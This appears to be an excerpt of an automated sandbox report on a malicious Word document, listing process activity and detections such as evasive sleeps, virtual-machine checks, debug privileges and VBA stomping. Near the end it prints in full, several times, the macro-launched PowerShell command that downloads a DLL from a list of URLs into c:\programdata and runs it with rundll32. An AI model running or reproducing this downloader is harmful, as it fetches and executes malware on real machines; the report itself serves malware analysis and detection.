Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep time: -2767011611056431s >= -30000s			Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4825			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2541			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000006.00000003.727850715.0000000005892000.00000004.00000001.sdmp	Binary or memory string: Hyper-V
Source: powershell.exe, 00000006.00000003.749926662.0000000009B4A000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'>f$
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	Binary or memory string: c:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: powershell.exe, 00000006.00000003.750063979.000000000817F000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging:

Enables debug privileges

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Source: 704.doc	OLE indicator, VBA stomping: true
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator, VBA stomping: true

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior

Creates a process in suspended mode (likely to inject code)

